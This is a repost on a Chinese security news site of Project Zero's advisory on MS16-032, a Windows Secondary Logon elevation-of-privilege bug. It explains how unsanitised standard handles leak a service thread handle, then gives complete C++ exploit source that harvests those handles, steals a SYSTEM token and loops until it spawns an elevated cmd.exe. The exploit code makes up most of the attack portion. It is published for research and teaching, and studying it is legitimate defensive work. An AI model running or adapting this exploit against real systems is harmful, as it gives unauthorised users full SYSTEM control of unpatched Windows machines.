Windows - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032)

没穿底裤 2020年1月1日04:55:59评论376 views字数 6975阅读23分15秒阅读模式
摘要

 

Windows - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032)

 

/* Sources:  https://bugs.chromium.org/p/project-zero/issues/detail?id=687 https://googleprojectzero.blogspot.ca/2016/03/exploiting-leaked-thread-handle.html  Windows: Secondary Logon Standard Handles Missing Sanitization EoP Platform: Windows 8.1, Windows 10, not testing on Windows 7 Class: Elevation of Privilege  Summary: The SecLogon service does not sanitize standard handles when creating a new process leading to duplicating a system service thread pool handle into a user accessible process. This can be used to elevate privileges to Local System.  Description:  The APIs CreateProcessWithToken and CreateProcessWithLogon are exposed to user applications, however they’re actually implemented in a system service, Secondary Logon. When these methods are called it’s actually dispatched over RPC to the service.   Both these methods take the normal STARTUPINFO structure and supports the passing of standard handles when the STARTF_USESTDHANDLES is used. Rather than the “standard” way of inheriting these handles to the new process the service copies them manually using the  SlpSetStdHandles function. This does something equivalent to:  BOOL SlpSetStdHandles(HANDLE hSrcProcess, HANDLE hTargetProcess, HANDLE handles[]) {    foreach(HANDLE h : handles) {      DuplicateHandle(hSrcProcesss, h, hTargetProcess, &hNewHandle, 0, FALSE, DUPLICATE_SAME_ACCESS);    } }  The vulnerability is nothing sanitizes these values. NtDuplicateObject special cases a couple of values for the source handle, Current Process (-1) and Current Thread (-2). NtDuplicateObject switches the thread’s current process to the target process when duplicating the handle, this means that while duplicating -1 will return a handle to the new process -2 will return a handle to the current thread which is actually a thread inside the svchost process hosting seclogon. When passing DUPLICATE_SAME_ACCESS for the current thread handle it's automatically given THREAD_ALL_ACCESS rights. The handle now exists in the new process and can be used by low privileged code.  This can be exploited in a number of ways. The new process can set the thread’s context causing the thread to dispatch to an arbitrary RIP. Or as these are thread pool threads servicing RPC requests for services such as BITS, Task Scheduler or seclogon itself you could do things like force a system level impersonation token (repeatedly) which overrides the security enforcement of these services leading to arbitrary file writes or process creation at Local System. It would be easy enough to run the exploit multiple times to capture handles to all thread pool threads available for RPC in the hosting process and then just keep trying until it succeeds.  One final point on exploitability. A normal user cannot use CreateProcessWithToken as the service checks that an arbitrary process can be opened by the user and has SeImpersonatePrivilege in its primary token. CreateProcessWithLogon will work but it seems you’d need to know a user’s password which makes it less useful for a malicious attacker. However you can specify the LOGON_NETCREDENTIALS_ONLY flag which changes the behaviour of LogonUser, instead of needing valid credentials the password is used to change the network password of a copy of the caller’s token. The password can be anything you like, it doesn’t matter.  Proof of Concept:  I’ve provided a PoC as a C# source code file. You need to compile it with Any CPU support (do not set 32 bit preferred). The PoC must match the OS bitness.   1) Compile the C# source code file. 2) Execute the poc executable as a normal user. This will not work from low IL. 3) The PoC should display a message box on error or success.  Expected Result: The call to CreateProcessWithLogon should fail and the PoC will display the error.  Observed Result: The process shows that it’s captured a handle from a service process. If you check process explorer or similar you’ll see the thread handle has full access rights. */  #include  #include  #include  #include    #define MAX_PROCESSES 1000  HANDLE GetThreadHandle() {   PROCESS_INFORMATION procInfo = {};   STARTUPINFO startInfo = {};   startInfo.cb = sizeof(startInfo);    startInfo.hStdInput = GetCurrentThread();   startInfo.hStdOutput = GetCurrentThread();   startInfo.hStdError = GetCurrentThread();   startInfo.dwFlags = STARTF_USESTDHANDLES;    if (CreateProcessWithLogonW(L"test", L"test", L"test",                 LOGON_NETCREDENTIALS_ONLY,                 nullptr, L"cmd.exe", CREATE_SUSPENDED,                 nullptr, nullptr, &startInfo, &procInfo))   {     HANDLE hThread;        BOOL res = DuplicateHandle(procInfo.hProcess, (HANDLE)0x4,               GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);     DWORD dwLastError = GetLastError();     TerminateProcess(procInfo.hProcess, 1);     CloseHandle(procInfo.hProcess);     CloseHandle(procInfo.hThread);     if (!res)     {       printf("Error duplicating handle %d/n", dwLastError);       exit(1);     }      return hThread;   }   else   {     printf("Error: %d/n", GetLastError());     exit(1);   } }  typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE ThreadHandle,        HANDLE ThreadToImpersonate,        PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService);  HANDLE GetSystemToken(HANDLE hThread) {   SuspendThread(hThread);    NtImpersonateThread* fNtImpersonateThread =       (NtImpersonateThread*)GetProcAddress(GetModuleHandle(L"ntdll"),                                            "NtImpersonateThread");   SECURITY_QUALITY_OF_SERVICE sqos = {};   sqos.Length = sizeof(sqos);   sqos.ImpersonationLevel = SecurityImpersonation;   SetThreadToken(&hThread, nullptr);   NTSTATUS status = fNtImpersonateThread(hThread, hThread, &sqos);   if (status != 0)   {     ResumeThread(hThread);     printf("Error impersonating thread %08X/n", status);     exit(1);   }    HANDLE hToken;   if (!OpenThreadToken(hThread, TOKEN_DUPLICATE | TOKEN_IMPERSONATE,                         FALSE, &hToken))   {     printf("Error opening thread token: %d/n", GetLastError());     ResumeThread(hThread);         exit(1);   }    ResumeThread(hThread);    return hToken; }  struct ThreadArg {   HANDLE hThread;   HANDLE hToken; };  DWORD CALLBACK SetTokenThread(LPVOID lpArg) {   ThreadArg* arg = (ThreadArg*)lpArg;   while (true)   {     if (!SetThreadToken(&arg->hThread, arg->hToken))     {       printf("Error setting token: %d/n", GetLastError());       break;     }   }   return 0; }  int main() {   std::map<DWORD, HANDLE> thread_handles;   printf("Gathering thread handles/n");    for (int i = 0; i < MAX_PROCESSES; ++i) { HANDLE hThread = GetThreadHandle(); DWORD dwTid = GetThreadId(hThread); if (!dwTid) { printf("Handle not a thread: %d/n", GetLastError()); exit(1); } if (thread_handles.find(dwTid) == thread_handles.end()) { thread_handles[dwTid] = hThread; } else { CloseHandle(hThread); } } printf("Done, got %zd handles/n", thread_handles.size()); if (thread_handles.size() > 0)   {     HANDLE hToken = GetSystemToken(thread_handles.begin()->second);     printf("System Token: %p/n", hToken);          for (const auto& pair : thread_handles)     {       ThreadArg* arg = new ThreadArg;        arg->hThread = pair.second;       DuplicateToken(hToken, SecurityImpersonation, &arg->hToken);        CreateThread(nullptr, 0, SetTokenThread, arg, 0, nullptr);     }      while (true)     {       PROCESS_INFORMATION procInfo = {};       STARTUPINFO startInfo = {};       startInfo.cb = sizeof(startInfo);             if (CreateProcessWithLogonW(L"test", L"test", L"test",                LOGON_NETCREDENTIALS_ONLY, nullptr,                L"cmd.exe", CREATE_SUSPENDED, nullptr, nullptr,                &startInfo, &procInfo))       {         HANDLE hProcessToken;         // If we can't get process token good chance it's a system process.         if (!OpenProcessToken(procInfo.hProcess, MAXIMUM_ALLOWED,                                &hProcessToken))         {           printf("Couldn't open process token %d/n", GetLastError());           ResumeThread(procInfo.hThread);           break;         }         // Just to be sure let's check the process token isn't elevated.         TOKEN_ELEVATION elevation;         DWORD dwSize = 0;         if (!GetTokenInformation(hProcessToken, TokenElevation,                                &elevation, sizeof(elevation), &dwSize))         {           printf("Couldn't get token elevation: %d/n", GetLastError());           ResumeThread(procInfo.hThread);           break;         }          if (elevation.TokenIsElevated)         {           printf("Created elevated process/n");           break;         }          TerminateProcess(procInfo.hProcess, 1);         CloseHandle(procInfo.hProcess);         CloseHandle(procInfo.hThread);       }          }   }    return 0; } 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日04:55:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032)https://cn-sec.com/archives/76703.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息